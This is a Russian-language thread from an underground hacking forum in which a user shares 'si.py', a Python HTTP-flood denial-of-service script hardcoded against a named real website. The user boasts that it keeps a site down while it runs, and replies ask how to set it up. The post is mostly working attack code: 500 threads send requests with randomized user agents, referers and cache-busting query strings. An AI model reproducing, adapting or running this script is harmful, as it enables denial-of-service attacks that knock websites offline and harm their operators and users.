1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

si.py

Тема в разделе "Софт [Все программы]", создана пользователем Viclug, 2 сен 2013.

  1. TopicStarter Overlay
    Viclug

    Viclug Gott mit Uns!

    Регистрация:
    22 июн 2012
    Сообщения:
    620
    Симпатии:
    468
    Питоновский скрипт, для охуенного ддоса ~ аля пока работает скрипт сайт лежит (средний) если выключить, встанет.

    Код:
    import urllib2
    import sys
    import threading
    import random
    import re
     
    #global params
    url='http://www.demushkin.com/'
    host='http://www.demushkin.com/'
    headers_useragents=[38]
    headers_referers=[19]
    request_counter=1000
    flag=0
    safe=0
     
    def inc_counter():
        global request_counter
        request_counter+=1
     
    def set_flag(val):
        global flag
        flag=val
     
    def set_safe():
        global safe
        safe=1
     
    # user agents
    def useragent_list():
        global headers_useragents
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
        headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
        headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
        headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
        headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
        headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
        headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
        headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
        headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
        headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
        headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
        headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
        headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
        headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
        headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
        headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
        headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
        headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
        headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
        headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
        headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
        headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
        headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
        headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
        headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
        headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
        headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
        return(headers_useragents)
     
    # referers
    def referer_list():
        global headers_referers
        headers_referers.append('http://www.google.com/?q=')
        headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%D1%83%D0%BF%.D0%?=B5%D1%80+%D1%81%D0%B0%D0%B9%D1&%82+%D1%81%D0%BC%D0%BE?=D1%82%D1%80%D0%B8+%D0%B1%D1%8B%D1%81%D1%82%D1%80%D0%B5%D0%B5+%D1%82%D1%83%D0%BF%D0%BE%D0%B9&lr=15href=')
        headers_referers.append('http://vk.com/profile.php?redirect=')
        headers_referers.append('http://www.usatoday.com/search/results?q=')
        headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=?query=q=')
        headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&safe=off&sclient?=ps.y-q=?-ab&q=%D1%81%+D0%BA%D0%B0%D1%87%_+D0%B0+%D1%82%D1%8C+%D0%BE%;D0%BB%D0%BE%D0%BB%D0%BE+%D0%BF%D1%8B%D1%89%D1%8C+%D0%BF%D1%8B%D1%89+%D1%82%D0%B8%D1%80%D0%B5%D1%87+%D0%B0%D1%82%D0%B0%D1%81&oq=%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C+%D0%BE%D0%BB%D0%BE%D0%BB%D0%BE+%D0%BF%D1%8B%D1%89%D1%8C+%D0%BF%D1%8B%D1%89+%D1%82%D0%B8%D1%80%D0%B5%D1%87+%D0%B0%D1%82%D0%B0%D1%81&gs_l=hp.12...0.0.7.6711.0.0.0.0.0.0.0.0..0.0.clfh..0.0.lfZPVcJWWmk&pbx=1&bav=on.2,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
        headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe=off&sclient=psy=-ab&q=%D0%BB%B3%.apache()D2%B1%D0%_BE%D1%85+%D0%B2?=%D0%B0%D1+%80%q?=D0%+B3%D1%8B%D0%B2%D1%80%D0%B0%D0%B2%D1%8B%D1%80%D0%B3%D0%B0%D1%80%D0%B3%D1%8B%D0%B2%D1%80%D0%B0%D0%B3%D1%8B%D0%B2%D0%B3%D1%8B%D0%B0%D0%B2%D1%80%D1%8B%D0%B0&oq=%D0%BB%D0%BE%D1%85+%D0%B2%D0%B0%D1%80%D0%B3%D1%8B%D0%B2%D1%80%D0%B0%D0%B2%D1%8B%D1%80%D0%B3%D0%B0%D1%80%D0%B3%D1%8B%D0%B2%D1%80%D0%B0%D0%B3%D1%8B%D0%B2%D0%B3%D1%8B%D0%B0%D0%B2%D1%80%D1%8B%D0%B0&gs_l=hp.3...1056.5429.0.5644.40.19.3.0.0.0.271.3044.0j12j5.18.0.clfh..0.0.q_3zpy5aLy0&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
        headers_referers.append('http://yandex.ru/yandsearch?text=')
        headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe=se.query?=&sclient?=?psy-ab&q=pony+?=pony.+gay+pon.q?y+pojfdy+gay+pbny&oeq?=pony+q=()po,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
        headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
        headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0%9D%D0%B0%=D0%B9query()%9D1%n82?=?query&%D0%B8%21&query=%D0%_B9%2D0%BE+?q=%D0%B1%D09%B0+%D1%8D%D1%82q=?%D0%BE+%D1%82%?q=D1%8B+%D1%83%D1%85%D0%B0%D1%85%D0%B0%D1%85%D0%B0%D1%85')
            headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%?=9C%8D%D0%?=BE%D1%9C%81%D0%BA%.D0%&B2%D1%BE%8B?=')
        headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf5PkgwA?search=L87Lxgt.=?p=dfhsdhjfsjkfhjdshkfsdk?=hfjkdshsdjfjksdfh?=sjkdeyfrewdfsd=&?fljsdjluirfeuwfguiewgfwgewfgwef&fr2=sb-top&fr=yfp-t-722')
        headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x()=9Qq=?X.9pf5Po=.wQA_AXL()=xgt.?p=%site&query?fr2=sb-top&fr=yfp-t-=?%722az')
        headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r&d%q=?apache=?nginx?=haha%query()=ha&=?query=')
        headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
        headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B9%=?=?queryD1%82%D0%B8%B10%D?=4%21&query=rangeru.hhebas=123+1985aFcv1')
        headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&esrc=s&source=web&cd=16&ved=0CFoQ%FjAFOAo&url=http%3A%2F%2Fanime.myvi.ru%2F&ei=2bv_T-TFJsaphAeVyYCUCA&usg=AFQjCNEyudSMvUCIRdOUL-fgyO-gSiVNIA&sig2=Tai93wTUfxTFMCPXWqggfQ')
        headers_referers.append('http://' + host + '/')
        return(headers_referers)
     
    #builds random ascii string
    def buildblock(size):
        out_str = ''
        for i in range(0, size):
            a = random.randint(65, 90)
            out_str += chr(a)
        return(out_str)
     
    #http request
    def httpcall(url):
        useragent_list()
        referer_list()
        code=0
        if url.count("?")>0:
            param_joiner="&"
        else:
            param_joiner="?"
        request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
        request.add_header('User-Agent', random.choice(headers_useragents))
        request.add_header('Cache-Control', 'no-cache')
        request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
        request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,12)))
        request.add_header('Keep-Alive', random.randint(110,120))
        request.add_header('Connection', 'keep-alive')
        request.add_header('Host',host)
        try:
                urllib2.urlopen(request)
        except urllib2.HTTPError, e:
                #print e.code
                set_flag(1)
                print 'sd'
                code=500
        except urllib2.URLError, e:
                #print e.reason
                sys.exit()
        else:
                inc_counter()
                urllib2.urlopen(request)
        return(code)     
     
     
    #http caller thread
    class HTTPThread(threading.Thread):
        def run(self):
            try:
                while flag<2:
                    code=httpcall(url)
                    if (code==500) & (safe==1):
                        set_flag(2)
            except Exception, ex:
                pass
     
    # monitors http threads and counts requests
    class MonitorThread(threading.Thread):
        def run(self):
            previous=request_counter
            while flag==0:
                if (previous+100<request_counter) & (previous<>request_counter):
                    print "%d" % (request_counter)
                    previous=request_counter
            if flag==2:
                print "\n"
     
    #execute
    if len(sys.argv) < 2:
            print "GO"
            if len(sys.argv)== 3:
                if sys.argv[2]=="safe":
                    set_safe()
            if url.count("/")==2:
                url = url + "/"
            m = re.search('http\://([^/]*)/?.*', url)
            host = m.group(1)
            for i in range(500):
                t = HTTPThread()
                t.start()
            t = MonitorThread()
            t.start()
    
     
    • Like Like x 3
    Метки:
  2. TraidenT

    TraidenT

    Регистрация:
    13 янв 2013
    Сообщения:
    200
    Симпатии:
    100
    А как его настраивать? хотя бы в кратце
     
  3. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.680
    Симпатии:
    2.274
    Please login or register to view links
     
  4. Trench

    Trench

    Регистрация:
    6 апр 2013
    Сообщения:
    27
    Симпатии:
    6
    Как я понял его через питон надо запускать да?
     
  5. }{OTT@BY4

    }{OTT@BY4 Гость

    Ты не вероятно проницательный.
     
  6. Trench

    Trench

    Регистрация:
    6 апр 2013
    Сообщения:
    27
    Симпатии:
    6
    Спасибо));)
     

Поделиться этой страницей

Загрузка...